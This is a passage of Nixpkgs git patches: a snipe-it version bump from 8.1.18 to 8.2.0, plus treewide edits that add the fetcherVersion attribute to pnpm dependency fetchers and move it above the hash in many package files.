     hash = "sha256-If3N000TbUERPo3hPBQtv/iQw1p0MhqFdFfhn8HHkrs=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/ze/zenn-cli/package.nix b/pkgs/by-name/ze/zenn-cli/package.nix
index eac27008ec60..327e0ba517a4 100644
--- a/pkgs/by-name/ze/zenn-cli/package.nix
+++ b/pkgs/by-name/ze/zenn-cli/package.nix
@@ -55,6 +55,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-AjdXclrNl1AHJ4LXq9I5Rk6KGyDaWXW187o2uLwRy/o=";
+    fetcherVersion = 1;
   };
 
   preBuild =
diff --git a/pkgs/by-name/zi/zigbee2mqtt_2/package.nix b/pkgs/by-name/zi/zigbee2mqtt_2/package.nix
index 217b3d5d2b97..183dc57f748d 100644
--- a/pkgs/by-name/zi/zigbee2mqtt_2/package.nix
+++ b/pkgs/by-name/zi/zigbee2mqtt_2/package.nix
@@ -28,6 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-Uli0skvkAyVbKdna9MTWoQzK3V7puM7gd7GzCk7tS78=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index 22deed18f2c6..a44a9b099dc8 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -44,6 +44,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-kIneqtLPZ29PzluKUGO4XbQYHbNddu0kTfoP4C22k7U=";
+    fetcherVersion = 1;
   };
 
   buildInputs = [
diff --git a/pkgs/development/python-modules/django-filingcabinet/default.nix b/pkgs/development/python-modules/django-filingcabinet/default.nix
index ea04a57f5f25..19c27bc950ec 100644
--- a/pkgs/development/python-modules/django-filingcabinet/default.nix
+++ b/pkgs/development/python-modules/django-filingcabinet/default.nix
@@ -95,6 +95,7 @@ buildPythonPackage rec {
   pnpmDeps = pnpm.fetchDeps {
     inherit pname version src;
     hash = "sha256-kvLV/pCX/wQHG0ttrjSro7/CoQ5K1T0aFChafQOwvNw=";
+    fetcherVersion = 1;
   };
 
   postBuild = ''
diff --git a/pkgs/development/python-modules/gradio/default.nix b/pkgs/development/python-modules/gradio/default.nix
index f24844b6b1b6..d24eb22f76d6 100644
--- a/pkgs/development/python-modules/gradio/default.nix
+++ b/pkgs/development/python-modules/gradio/default.nix
@@ -86,6 +86,7 @@ buildPythonPackage rec {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     hash = "sha256-h3ulPik0Uf8X687Se3J7h3+8jYzwXtbO6obsO27zyfA=";
+    fetcherVersion = 1;
   };
 
   pythonRelaxDeps = [
diff --git a/pkgs/servers/authelia/web.nix b/pkgs/servers/authelia/web.nix
index 7b3083600603..3c4e0ae2ca72 100644
--- a/pkgs/servers/authelia/web.nix
+++ b/pkgs/servers/authelia/web.nix
@@ -32,6 +32,7 @@ stdenv.mkDerivation (finalAttrs: {
       sourceRoot
       ;
     hash = pnpmDepsHash;
+    fetcherVersion = 1;
   };
 
   postPatch = ''
diff --git a/pkgs/servers/web-apps/discourse/default.nix b/pkgs/servers/web-apps/discourse/default.nix
index 9cdc0889e307..27db531447f6 100644
--- a/pkgs/servers/web-apps/discourse/default.nix
+++ b/pkgs/servers/web-apps/discourse/default.nix
@@ -234,6 +234,7 @@ let
       pname = "discourse-assets";
       inherit version src;
       hash = "sha256-WyRBnuKCl5NJLtqy3HK/sJcrpMkh0PjbasGPNDV6+7Y=";
+      fetcherVersion = 1;
     };
 
     nativeBuildInputs = runtimeDeps ++ [
diff --git a/pkgs/servers/web-apps/lemmy/ui.nix b/pkgs/servers/web-apps/lemmy/ui.nix
index b423bcd8748f..eecf875e3728 100644
--- a/pkgs/servers/web-apps/lemmy/ui.nix
+++ b/pkgs/servers/web-apps/lemmy/ui.nix
@@ -43,6 +43,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = pinData.uiPNPMDepsHash;
+    fetcherVersion = 1;
   };
 
   buildPhase = ''

From 7e8901b453fac6098b5079cf28a7354c1159ae7a Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Wed, 23 Jul 2025 17:35:15 +0200
Subject: [PATCH 2810/4511] snipe-it: 8.1.18 -> 8.2.0

Release notes: https://github.com/grokability/snipe-it/releases/tag/v8.2.0
Full changelog: https://github.com/grokability/snipe-it/compare/v8.1.18...v8.2.0

(cherry picked from commit ae380640c5f8d4ca46a64d40f821ef9eb4659df1)
---
 pkgs/by-name/sn/snipe-it/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sn/snipe-it/package.nix b/pkgs/by-name/sn/snipe-it/package.nix
index e5a26d0cc847..a40a53373de5 100644
--- a/pkgs/by-name/sn/snipe-it/package.nix
+++ b/pkgs/by-name/sn/snipe-it/package.nix
@@ -9,16 +9,16 @@
 
 php84.buildComposerProject2 (finalAttrs: {
   pname = "snipe-it";
-  version = "8.1.18";
+  version = "8.2.0";
 
   src = fetchFromGitHub {
     owner = "grokability";
     repo = "snipe-it";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-S11RUvblLQNS+LX66zBlVATJTvOMNBxf//zpo+b4AB0=";
+    hash = "sha256-mXcc6wSDoO7z2xYUjwn6hU39OBmsZOw4JeZTpwZMMbI=";
   };
 
-  vendorHash = "sha256-wWm7bB+TUzeRDRPYCL53c9/KspAdsHSEKK759ntiLWo=";
+  vendorHash = "sha256-84kllssopKRAC/Dws+5s6e61/O56B+Uy19jjIV8yLUo=";
 
   postInstall = ''
     snipe_it_out="$out/share/php/snipe-it"

From 496365ec6d033b815f0f1decae227c62d5b6484c Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Mon, 14 Jul 2025 19:22:45 +0200
Subject: [PATCH 2811/4511] treewide: adjust pnpm.fetchDeps parameter order

It is more common to specify hash as the last attribute of fetcher
function args. Let's move fetcherVersion right above hash for all
occurrences.

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit a8c9a2aa3e2a3fe0762b4b08b12b0f398b2d57b5)
---
 pkgs/applications/audio/youtube-music/default.nix             | 2 +-
 pkgs/by-name/ao/aonsoku/package.nix                           | 2 +-
 pkgs/by-name/ap/apache-answer/package.nix                     | 2 +-
 pkgs/by-name/ar/artalk/package.nix                            | 2 +-
 pkgs/by-name/as/astro-language-server/package.nix             | 2 +-
 pkgs/by-name/au/autobrr/package.nix                           | 2 +-
 pkgs/by-name/au/autoprefixer/package.nix                      | 2 +-
 pkgs/by-name/ba/backrest/package.nix                          | 2 +-
 pkgs/by-name/ba/bash-language-server/package.nix              | 2 +-
 pkgs/by-name/bu/bumpp/package.nix                             | 2 +-
 pkgs/by-name/ca/cargo-tauri/test-app.nix                      | 2 +-
 pkgs/by-name/cd/cdxgen/package.nix                            | 2 +-
 pkgs/by-name/cl/clash-verge-rev/webui.nix                     | 2 +-
 pkgs/by-name/co/codex/package.nix                             | 2 +-
 pkgs/by-name/co/concurrently/package.nix                      | 2 +-
 pkgs/by-name/da/daed/package.nix                              | 2 +-
 pkgs/by-name/de/deltachat-desktop/package.nix                 | 2 +-
 pkgs/by-name/em/emmet-language-server/package.nix             | 2 +-
 pkgs/by-name/en/en-croissant/package.nix                      | 2 +-
 pkgs/by-name/eq/equibop/package.nix                           | 2 +-
 pkgs/by-name/eq/equicord/package.nix                          | 2 +-
 pkgs/by-name/et/etherpad-lite/package.nix                     | 2 +-
 pkgs/by-name/fe/fedistar/package.nix                          | 2 +-
 pkgs/by-name/fi/filebrowser/package.nix                       | 2 +-
 pkgs/by-name/fi/firezone-gui-client/package.nix               | 2 +-
 pkgs/by-name/fi/firezone-server/package.nix                   | 2 +-
 pkgs/by-name/fl/flood/package.nix                             | 2 +-
 pkgs/by-name/fo/follow/package.nix                            | 2 +-
 pkgs/by-name/fr/froide/package.nix                            | 2 +-
 pkgs/by-name/gi/gitbutler/package.nix                         | 2 +-
 pkgs/by-name/gi/gitify/package.nix                            | 2 +-
 pkgs/by-name/go/goofcord/package.nix                          | 2 +-
 pkgs/by-name/gu/gui-for-clash/package.nix                     | 2 +-
 pkgs/by-name/gu/gui-for-singbox/package.nix                   | 2 +-
 pkgs/by-name/he/heroic-unwrapped/package.nix                  | 2 +-
 pkgs/by-name/ho/homebox/package.nix                           | 2 +-
 pkgs/by-name/ho/homepage-dashboard/package.nix                | 2 +-
 pkgs/by-name/ho/homer/package.nix                             | 2 +-
 pkgs/by-name/it/it-tools/package.nix                          | 2 +-
 pkgs/by-name/je/jellyseerr/package.nix                        | 2 +-
 pkgs/by-name/ka/karakeep/package.nix                          | 2 +-
 pkgs/by-name/le/legcord/package.nix                           | 2 +-
 pkgs/by-name/me/memos/package.nix                             | 2 +-
 pkgs/by-name/me/metacubexd/package.nix                        | 2 +-
 pkgs/by-name/mi/misskey/package.nix                           | 2 +-
 pkgs/by-name/mo/modrinth-app-unwrapped/package.nix            | 2 +-
 pkgs/by-name/mo/moonfire-nvr/package.nix                      | 2 +-
 pkgs/by-name/mo/moonlight/package.nix                         | 2 +-
 pkgs/by-name/n8/n8n/package.nix                               | 2 +-
 pkgs/by-name/ni/ni/package.nix                                | 2 +-
 pkgs/by-name/oc/ocis/package.nix                              | 2 +-
 pkgs/by-name/oc/ocis/web.nix                                  | 2 +-
 pkgs/by-name/ov/overlayed/webui.nix                           | 2 +-
 pkgs/by-name/pa/paperless-ngx/package.nix                     | 2 +-
 pkgs/by-name/pa/parca/package.nix                             | 2 +-
 pkgs/by-name/pd/pds/package.nix                               | 2 +-
 pkgs/by-name/pg/pgrok/package.nix                             | 2 +-
 pkgs/by-name/pi/piped/package.nix                             | 2 +-
 pkgs/by-name/po/podman-desktop/package.nix                    | 2 +-
 pkgs/by-name/po/porn-vault/package.nix                        | 2 +-
 pkgs/by-name/po/pot/package.nix                               | 2 +-
 pkgs/by-name/pr/prisma/package.nix                            | 2 +-
 pkgs/by-name/qu/quantframe/package.nix                        | 2 +-
 pkgs/by-name/re/readest/package.nix                           | 2 +-
 pkgs/by-name/re/renovate/package.nix                          | 2 +-
 pkgs/by-name/rm/rmfakecloud/package.nix                       | 2 +-
 pkgs/by-name/rq/rquickshare/package.nix                       | 2 +-
 pkgs/by-name/rs/rsshub/package.nix                            | 2 +-
 pkgs/by-name/sa/satisfactorymodmanager/package.nix            | 2 +-
 pkgs/by-name/sh/shadcn/package.nix                            | 2 +-
 pkgs/by-name/si/signal-desktop/package.nix                    | 4 ++--
 pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix           | 2 +-
 pkgs/by-name/si/siyuan/package.nix                            | 2 +-
 pkgs/by-name/sk/sketchybar-app-font/package.nix               | 2 +-
 pkgs/by-name/sl/slimevr/package.nix                           | 2 +-
 pkgs/by-name/st/stylelint-lsp/package.nix                     | 2 +-
 pkgs/by-name/su/surrealist/package.nix                        | 2 +-
 pkgs/by-name/sy/synchrony/package.nix                         | 2 +-
 pkgs/by-name/sy/syncyomi/package.nix                          | 2 +-
 pkgs/by-name/ta/tabby-agent/package.nix                       | 2 +-
 pkgs/by-name/ta/tailwindcss-language-server/package.nix       | 2 +-
 pkgs/by-name/ta/taler-wallet-core/package.nix                 | 2 +-
 pkgs/by-name/ta/taze/package.nix                              | 2 +-
 pkgs/by-name/te/teleport/package.nix                          | 2 +-
 pkgs/by-name/ty/typespec/package.nix                          | 2 +-
 pkgs/by-name/ve/vencord/package.nix                           | 2 +-
 pkgs/by-name/ve/vesktop/package.nix                           | 2 +-
 pkgs/by-name/vi/vikunja/package.nix                           | 2 +-
 pkgs/by-name/vo/voicevox/package.nix                          | 2 +-
 pkgs/by-name/vt/vtsls/package.nix                             | 2 +-
 pkgs/by-name/we/wealthfolio/package.nix                       | 2 +-
 pkgs/by-name/wo/wox/package.nix                               | 2 +-
 pkgs/by-name/wr/wrangler/package.nix                          | 2 +-
 pkgs/by-name/za/zammad/package.nix                            | 2 +-
 pkgs/by-name/za/zashboard/package.nix                         | 2 +-
 pkgs/by-name/ze/zenn-cli/package.nix                          | 2 +-
 pkgs/by-name/zi/zigbee2mqtt_2/package.nix                     | 2 +-
 pkgs/by-name/zi/zipline/package.nix                           | 2 +-
 .../python-modules/django-filingcabinet/default.nix           | 2 +-
 pkgs/development/python-modules/gradio/default.nix            | 2 +-
 pkgs/servers/authelia/web.nix                                 | 2 +-
 pkgs/servers/web-apps/discourse/default.nix                   | 2 +-
 pkgs/servers/web-apps/lemmy/ui.nix                            | 2 +-
 103 files changed, 104 insertions(+), 104 deletions(-)

diff --git a/pkgs/applications/audio/youtube-music/default.nix b/pkgs/applications/audio/youtube-music/default.nix
index c89793a26ee0..05834c063e22 100644
--- a/pkgs/applications/audio/youtube-music/default.nix
+++ b/pkgs/applications/audio/youtube-music/default.nix
@@ -24,8 +24,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-xIQyTetHU37gTxCcQp4VCqzGdIfVQGy/aORCVba6YQ0=";
     fetcherVersion = 1;
+    hash = "sha256-xIQyTetHU37gTxCcQp4VCqzGdIfVQGy/aORCVba6YQ0=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ao/aonsoku/package.nix b/pkgs/by-name/ao/aonsoku/package.nix
index b58573ad4aee..38bdf6850e86 100644
--- a/pkgs/by-name/ao/aonsoku/package.nix
+++ b/pkgs/by-name/ao/aonsoku/package.nix
@@ -27,8 +27,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # lockfileVersion: '6.0' need old pnpm
   pnpmDeps = pnpm_8.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-h1rcM+H2c0lk7bpGeQT5ue9bQIggrCFHkj4o7KxnH08=";
     fetcherVersion = 1;
+    hash = "sha256-h1rcM+H2c0lk7bpGeQT5ue9bQIggrCFHkj4o7KxnH08=";
   };
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/ap/apache-answer/package.nix b/pkgs/by-name/ap/apache-answer/package.nix
index 5e657cf8f680..a3d0fa6fc285 100644
--- a/pkgs/by-name/ap/apache-answer/package.nix
+++ b/pkgs/by-name/ap/apache-answer/package.nix
@@ -28,8 +28,8 @@ buildGoModule rec {
     pnpmDeps = pnpm_9.fetchDeps {
       inherit src version pname;
       sourceRoot = "${src.name}/ui";
-      hash = "sha256-/se6IWeHdazqS7PzOpgtT4IxCJ1WptqBzZ/BdmGb4BA=";
       fetcherVersion = 1;
+      hash = "sha256-/se6IWeHdazqS7PzOpgtT4IxCJ1WptqBzZ/BdmGb4BA=";
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/ar/artalk/package.nix b/pkgs/by-name/ar/artalk/package.nix
index d0d94f2afa1c..407c76243483 100644
--- a/pkgs/by-name/ar/artalk/package.nix
+++ b/pkgs/by-name/ar/artalk/package.nix
@@ -33,8 +33,8 @@ let
 
     pnpmDeps = pnpm_9.fetchDeps {
       inherit (finalAttrs) pname version src;
-      hash = "sha256-QIfadS2gNPtH006O86EndY/Hx2ml2FoKfUXJF5qoluw=";
       fetcherVersion = 1;
+      hash = "sha256-QIfadS2gNPtH006O86EndY/Hx2ml2FoKfUXJF5qoluw=";
     };
 
     buildPhase = ''
diff --git a/pkgs/by-name/as/astro-language-server/package.nix b/pkgs/by-name/as/astro-language-server/package.nix
index 8914f2e36dac..b43ceae3777c 100644
--- a/pkgs/by-name/as/astro-language-server/package.nix
+++ b/pkgs/by-name/as/astro-language-server/package.nix
@@ -25,8 +25,8 @@ stdenv.mkDerivation (finalAttrs: {
       pnpmWorkspaces
       prePnpmInstall
       ;
-    hash = "sha256-tlpk+wbLjJqt37lu67p2A2RZAR1ZfnZFiYoqIQwvWPQ=";
     fetcherVersion = 1;
+    hash = "sha256-tlpk+wbLjJqt37lu67p2A2RZAR1ZfnZFiYoqIQwvWPQ=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/au/autobrr/package.nix b/pkgs/by-name/au/autobrr/package.nix
index bca303bf20e9..54ea8e506d46 100644
--- a/pkgs/by-name/au/autobrr/package.nix
+++ b/pkgs/by-name/au/autobrr/package.nix
@@ -40,8 +40,8 @@ let
         src
         sourceRoot
         ;
-      hash = "sha256-XFGxutHWk1RHnrN//WVTr4RyARIkygdG2C1Af5W0dBc=";
       fetcherVersion = 1;
+      hash = "sha256-XFGxutHWk1RHnrN//WVTr4RyARIkygdG2C1Af5W0dBc=";
     };
 
     postBuild = ''
diff --git a/pkgs/by-name/au/autoprefixer/package.nix b/pkgs/by-name/au/autoprefixer/package.nix
index 31662f322b7e..7d98e6bf4b19 100644
--- a/pkgs/by-name/au/autoprefixer/package.nix
+++ b/pkgs/by-name/au/autoprefixer/package.nix
@@ -25,8 +25,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-zb/BwL//i0oly5HEXN20E3RzZXdaOn+G2yIWRas3PB4=";
     fetcherVersion = 1;
+    hash = "sha256-zb/BwL//i0oly5HEXN20E3RzZXdaOn+G2yIWRas3PB4=";
   };
 
   installPhase = ''
diff --git a/pkgs/by-name/ba/backrest/package.nix b/pkgs/by-name/ba/backrest/package.nix
index e61de5d182c3..d323c1ae03c0 100644
--- a/pkgs/by-name/ba/backrest/package.nix
+++ b/pkgs/by-name/ba/backrest/package.nix
@@ -33,8 +33,8 @@ let
 
     pnpmDeps = pnpm_9.fetchDeps {
       inherit (finalAttrs) pname version src;
-      hash = "sha256-q7VMQb/FRT953yT2cyGMxUPp8p8XkA9mvqGI7S7Eifg=";
       fetcherVersion = 1;
+      hash = "sha256-q7VMQb/FRT953yT2cyGMxUPp8p8XkA9mvqGI7S7Eifg=";
     };
 
     buildPhase = ''
diff --git a/pkgs/by-name/ba/bash-language-server/package.nix b/pkgs/by-name/ba/bash-language-server/package.nix
index 293439f8423d..2524037e8df5 100644
--- a/pkgs/by-name/ba/bash-language-server/package.nix
+++ b/pkgs/by-name/ba/bash-language-server/package.nix
@@ -28,8 +28,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       pnpmWorkspaces
       ;
-    hash = "sha256-W25xehcxncBs9QgQBt17F5YHK0b+GDEmt27XzTkyYWg=";
     fetcherVersion = 1;
+    hash = "sha256-W25xehcxncBs9QgQBt17F5YHK0b+GDEmt27XzTkyYWg=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bu/bumpp/package.nix b/pkgs/by-name/bu/bumpp/package.nix
index 3b05d5a65df2..4eda9b885e5d 100644
--- a/pkgs/by-name/bu/bumpp/package.nix
+++ b/pkgs/by-name/bu/bumpp/package.nix
@@ -24,8 +24,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-duxpym1DlJM4q5j0wmrubYiAHQ3cDEFfeD9Gyic6mbI=";
     fetcherVersion = 1;
+    hash = "sha256-duxpym1DlJM4q5j0wmrubYiAHQ3cDEFfeD9Gyic6mbI=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-tauri/test-app.nix b/pkgs/by-name/ca/cargo-tauri/test-app.nix
index af0c230af635..67d17cece65c 100644
--- a/pkgs/by-name/ca/cargo-tauri/test-app.nix
+++ b/pkgs/by-name/ca/cargo-tauri/test-app.nix
@@ -34,8 +34,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       ;
 
-    hash = "sha256-plANa/+9YEQ4ipgdQ7QzPyxgz6eDCBhO7qFlxK6Ab58=";
     fetcherVersion = 1;
+    hash = "sha256-plANa/+9YEQ4ipgdQ7QzPyxgz6eDCBhO7qFlxK6Ab58=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/cd/cdxgen/package.nix b/pkgs/by-name/cd/cdxgen/package.nix
index 3fa6ec4c0a45..7baf4185d643 100644
--- a/pkgs/by-name/cd/cdxgen/package.nix
+++ b/pkgs/by-name/cd/cdxgen/package.nix
@@ -37,8 +37,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-7NrDYd4H0cPQs8w4lWlB0BhqcYZVo6/9zf0ujPjBzsE=";
     fetcherVersion = 1;
+    hash = "sha256-7NrDYd4H0cPQs8w4lWlB0BhqcYZVo6/9zf0ujPjBzsE=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/cl/clash-verge-rev/webui.nix b/pkgs/by-name/cl/clash-verge-rev/webui.nix
index 4c38138eed8d..91627e5cf21a 100644
--- a/pkgs/by-name/cl/clash-verge-rev/webui.nix
+++ b/pkgs/by-name/cl/clash-verge-rev/webui.nix
@@ -13,8 +13,8 @@ stdenv.mkDerivation {
   pname = "${pname}-webui";
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
-    hash = npm-hash;
     fetcherVersion = 1;
+    hash = npm-hash;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/co/codex/package.nix b/pkgs/by-name/co/codex/package.nix
index dce6c1f1cec6..f848fa4ea0c0 100644
--- a/pkgs/by-name/co/codex/package.nix
+++ b/pkgs/by-name/co/codex/package.nix
@@ -36,8 +36,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       pnpmWorkspaces
       ;
-    hash = "sha256-pPwHjtqqaG+Zqmq6x5o+WCT1H9XuXAqFNKMzevp7wTc=";
     fetcherVersion = 1;
+    hash = "sha256-pPwHjtqqaG+Zqmq6x5o+WCT1H9XuXAqFNKMzevp7wTc=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/co/concurrently/package.nix b/pkgs/by-name/co/concurrently/package.nix
index b89146d333c9..cdf9061c726b 100644
--- a/pkgs/by-name/co/concurrently/package.nix
+++ b/pkgs/by-name/co/concurrently/package.nix
@@ -29,8 +29,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       patches
       ;
-    hash = "sha256-F1teWIABkK0mqZcK3RdGNKmexI/C59QWSrrD1jYbHt0=";
     fetcherVersion = 1;
+    hash = "sha256-F1teWIABkK0mqZcK3RdGNKmexI/C59QWSrrD1jYbHt0=";
   };
 
   patches = [
diff --git a/pkgs/by-name/da/daed/package.nix b/pkgs/by-name/da/daed/package.nix
index 0c73e845ad24..21202e18b7ab 100644
--- a/pkgs/by-name/da/daed/package.nix
+++ b/pkgs/by-name/da/daed/package.nix
@@ -27,8 +27,8 @@ let
 
     pnpmDeps = pnpm_9.fetchDeps {
       inherit pname version src;
-      hash = "sha256-+yLpSbDzr1OV/bmUUg6drOvK1ok3cBd+RRV7Qrrlp+Q=";
       fetcherVersion = 1;
+      hash = "sha256-+yLpSbDzr1OV/bmUUg6drOvK1ok3cBd+RRV7Qrrlp+Q=";
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/de/deltachat-desktop/package.nix b/pkgs/by-name/de/deltachat-desktop/package.nix
index 0f5992cd0bcb..ee3c55ae5a74 100644
--- a/pkgs/by-name/de/deltachat-desktop/package.nix
+++ b/pkgs/by-name/de/deltachat-desktop/package.nix
@@ -48,8 +48,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-PBCmyNmlH88y5s7+8WHcei8SP3Q0lIAAnAQn9uaFxLc=";
     fetcherVersion = 1;
+    hash = "sha256-PBCmyNmlH88y5s7+8WHcei8SP3Q0lIAAnAQn9uaFxLc=";
   };
 
   nativeBuildInputs =
diff --git a/pkgs/by-name/em/emmet-language-server/package.nix b/pkgs/by-name/em/emmet-language-server/package.nix
index dc2a8a8cff46..0a1c7bd9d69e 100644
--- a/pkgs/by-name/em/emmet-language-server/package.nix
+++ b/pkgs/by-name/em/emmet-language-server/package.nix
@@ -20,8 +20,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-hh5PEtmSHPs6QBgwWHS0laGU21e82JckIP3mB/P9/vE=";
     fetcherVersion = 1;
+    hash = "sha256-hh5PEtmSHPs6QBgwWHS0laGU21e82JckIP3mB/P9/vE=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/en/en-croissant/package.nix b/pkgs/by-name/en/en-croissant/package.nix
index 86d89a85933e..a35536ad30f1 100644
--- a/pkgs/by-name/en/en-croissant/package.nix
+++ b/pkgs/by-name/en/en-croissant/package.nix
@@ -30,8 +30,8 @@ rustPlatform.buildRustPackage rec {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
-    hash = "sha256-hvWXSegUWJvwCU5NLb2vqnl+FIWpCLxw96s9NUIgJTI=";
     fetcherVersion = 1;
+    hash = "sha256-hvWXSegUWJvwCU5NLb2vqnl+FIWpCLxw96s9NUIgJTI=";
   };
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/eq/equibop/package.nix b/pkgs/by-name/eq/equibop/package.nix
index 4da34c82565b..b52c61d53b76 100644
--- a/pkgs/by-name/eq/equibop/package.nix
+++ b/pkgs/by-name/eq/equibop/package.nix
@@ -39,8 +39,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       patches
       ;
-    hash = "sha256-laTyxRh54x3iopGVgoFtcgaV7R6IKux1O/+tzGEy0Fg=";
     fetcherVersion = 1;
+    hash = "sha256-laTyxRh54x3iopGVgoFtcgaV7R6IKux1O/+tzGEy0Fg=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/eq/equicord/package.nix b/pkgs/by-name/eq/equicord/package.nix
index 7424417eff7a..595c9b8f10cf 100644
--- a/pkgs/by-name/eq/equicord/package.nix
+++ b/pkgs/by-name/eq/equicord/package.nix
@@ -25,8 +25,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-fjfzBy1Z7AUKA53yjjCQ6yasHc5QMaOBtXtXA5fNK5s=";
     fetcherVersion = 1;
+    hash = "sha256-fjfzBy1Z7AUKA53yjjCQ6yasHc5QMaOBtXtXA5fNK5s=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/et/etherpad-lite/package.nix b/pkgs/by-name/et/etherpad-lite/package.nix
index 0fc507ee8e48..4aa0c92de917 100644
--- a/pkgs/by-name/et/etherpad-lite/package.nix
+++ b/pkgs/by-name/et/etherpad-lite/package.nix
@@ -31,8 +31,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-nhiPopGLCeCHiqEQ3solwuLwkDnHTH3otbxIJmbuQAA=";
     fetcherVersion = 1;
+    hash = "sha256-nhiPopGLCeCHiqEQ3solwuLwkDnHTH3otbxIJmbuQAA=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fe/fedistar/package.nix b/pkgs/by-name/fe/fedistar/package.nix
index dcc674ad3e81..354f864a08a8 100644
--- a/pkgs/by-name/fe/fedistar/package.nix
+++ b/pkgs/by-name/fe/fedistar/package.nix
@@ -30,8 +30,8 @@ let
     inherit version src;
     pnpmDeps = pnpm.fetchDeps {
       inherit pname version src;
-      hash = "sha256-xXVsjAXmrsOp+mXrYAxSKz4vX5JApLZ+Rh6hrYlnJDI=";
       fetcherVersion = 1;
+      hash = "sha256-xXVsjAXmrsOp+mXrYAxSKz4vX5JApLZ+Rh6hrYlnJDI=";
     };
     nativeBuildInputs = [
       pnpm.configHook
diff --git a/pkgs/by-name/fi/filebrowser/package.nix b/pkgs/by-name/fi/filebrowser/package.nix
index 0e3d351a2a15..1418c22fce61 100644
--- a/pkgs/by-name/fi/filebrowser/package.nix
+++ b/pkgs/by-name/fi/filebrowser/package.nix
@@ -35,8 +35,8 @@ let
     pnpmDeps = pnpm.fetchDeps {
       inherit (finalAttrs) pname version src;
       sourceRoot = "${src.name}/frontend";
-      hash = "sha256-vLOtVeGFeHXgQglvKsih4lj1uIs6wipwfo374viIq4I=";
       fetcherVersion = 1;
+      hash = "sha256-vLOtVeGFeHXgQglvKsih4lj1uIs6wipwfo374viIq4I=";
     };
 
     installPhase = ''
diff --git a/pkgs/by-name/fi/firezone-gui-client/package.nix b/pkgs/by-name/fi/firezone-gui-client/package.nix
index 53d1a9928459..73778baf01c2 100644
--- a/pkgs/by-name/fi/firezone-gui-client/package.nix
+++ b/pkgs/by-name/fi/firezone-gui-client/package.nix
@@ -39,8 +39,8 @@ let
     pnpmDeps = pnpm_9.fetchDeps {
       inherit pname version;
       src = "${src}/rust/gui-client";
-      hash = "sha256-bVWpyGwEaxYi3N6BJqOilnHJDgAykKHgRC2QKlvSm4Q=";
       fetcherVersion = 1;
+      hash = "sha256-bVWpyGwEaxYi3N6BJqOilnHJDgAykKHgRC2QKlvSm4Q=";
     };
     pnpmRoot = "rust/gui-client";
 
diff --git a/pkgs/by-name/fi/firezone-server/package.nix b/pkgs/by-name/fi/firezone-server/package.nix
index 549c272590b8..d1f835531a88 100644
